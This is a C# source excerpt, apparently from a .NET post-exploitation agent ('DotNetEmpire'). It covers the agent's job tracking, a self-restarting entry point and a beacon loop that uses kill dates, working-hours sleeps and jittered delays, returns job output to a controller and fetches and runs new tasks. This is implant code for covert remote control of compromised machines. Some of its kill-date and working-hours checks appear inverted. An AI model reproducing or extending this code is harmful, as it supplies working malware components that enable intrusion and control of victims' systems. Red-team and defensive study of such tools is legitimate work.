//////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////// internal void CheckAgentJobs(ref byte[] packets, ref Coms coms) { lock (jobs) { List <string> jobsToRemove = new List <string>(); foreach (KeyValuePair <string, Job> job in jobs) { string results = ""; if (job.Value.IsCompleted()) { try { results = job.Value.GetOutput(); job.Value.KillThread(); } catch (NullReferenceException) { } jobsToRemove.Add(job.Key); packets = Misc.combine(packets, coms.EncodePacket(110, results, jobsId[job.Key])); } } jobsToRemove.ForEach(x => jobs.Remove(x)); lock (jobsId) { jobsToRemove.ForEach(x => jobsId.Remove(x)); } } }
//////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////// private void DotNetEmpire() { Agent agent = new Agent(sessionInfo); Coms coms = agent.GetComs(); try { agent.Execute(); } catch (Exception ex) { coms.SendMessage(coms.EncodePacket(41, "[-] Catastrophic .Net Agent Failure, Attempting Agent Restart: " + ex, 0)); agent = null; coms = null; GC.Collect(); DotNetEmpire(); } }
//////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////// internal byte[] GetAgentJobsOutput(ref Coms coms) { byte[] jobResults = new byte[0]; lock (jobs) { List <string> jobsToRemove = new List <string>(); foreach (string jobName in jobs.Keys) { #if (PRINT) Console.WriteLine("Job: {0}", jobName); #endif string results = ""; if (jobs[jobName].IsCompleted()) { try { results = jobs[jobName].GetOutput(); #if (PRINT) Console.WriteLine(results); #endif jobs[jobName].KillThread(); } catch (NullReferenceException) { } jobsToRemove.Add(jobName); } else { results = jobs[jobName].GetOutput(); } if (0 < results.Length) { jobResults = Misc.combine(jobResults, coms.EncodePacket(110, results, jobsId[jobName])); } } jobsToRemove.ForEach(x => jobs.Remove(x)); lock (jobsId) { jobsToRemove.ForEach(x => jobsId.Remove(x)); } } return(jobResults); }
//////////////////////////////////////////////////////////////////////////////// // Main Loop //////////////////////////////////////////////////////////////////////////////// private void Run() { //////////////////////////////////////////////////////////////////////////////// if (sessionInfo.GetKillDate().CompareTo(DateTime.Now) > 0 || coms.MissedCheckins > sessionInfo.GetDefaultLostLimit()) { jobTracking.CheckAgentJobs(ref packets, ref coms); if (packets.Length > 0) { coms.SendMessage(packets); } string message = ""; if (sessionInfo.GetKillDate().CompareTo(DateTime.Now) > 0) { message = "[!] Agent " + sessionInfo.GetAgentID() + " exiting: past killdate"; } else { message = "[!] Agent " + sessionInfo.GetAgentID() + " exiting: Lost limit reached"; } ushort result = 0; coms.SendMessage(coms.EncodePacket(2, message, result)); Environment.Exit(1); } //////////////////////////////////////////////////////////////////////////////// if (null != sessionInfo.GetWorkingHoursStart() && null != sessionInfo.GetWorkingHoursEnd()) { DateTime now = DateTime.Now; if ((sessionInfo.GetWorkingHoursEnd() - sessionInfo.GetWorkingHoursStart()).Hours < 0) { sessionInfo.SetWorkingHoursStart(sessionInfo.GetWorkingHoursStart().AddDays(-1)); } if (now.CompareTo(sessionInfo.GetWorkingHoursStart()) > 0 && now.CompareTo(sessionInfo.GetWorkingHoursEnd()) < 0) { TimeSpan sleep = sessionInfo.GetWorkingHoursStart().Subtract(now); if (sleep.CompareTo(0) < 0) { sleep = (sessionInfo.GetWorkingHoursStart().AddDays(1) - now); } Thread.Sleep((int)sleep.TotalMilliseconds); } } //////////////////////////////////////////////////////////////////////////////// if (0 != sessionInfo.GetDefaultDelay()) { int max = (int)((sessionInfo.GetDefaultJitter() + 1) * sessionInfo.GetDefaultDelay()); if (max > int.MaxValue) { max = int.MaxValue - 1; } int min = (int)((sessionInfo.GetDefaultJitter() - 1) * sessionInfo.GetDefaultDelay()); if (min < 0) { min = 0; } int sleepTime; if (min == max) { sleepTime = min; } else { Random random = new Random(); sleepTime = random.Next(min, max); } Thread.Sleep(sleepTime * 1000); } //////////////////////////////////////////////////////////////////////////////// byte[] jobResults = jobTracking.GetAgentJobsOutput(ref coms); if (0 < jobResults.Length) { coms.SendMessage(jobResults); } //////////////////////////////////////////////////////////////////////////////// byte[] taskData = coms.GetTask(); if (taskData.Length > 0) { coms.MissedCheckins = 0; if (String.Empty != Encoding.UTF8.GetString(taskData)) { coms.DecodeRoutingPacket(taskData, ref jobTracking); } } GC.Collect(); }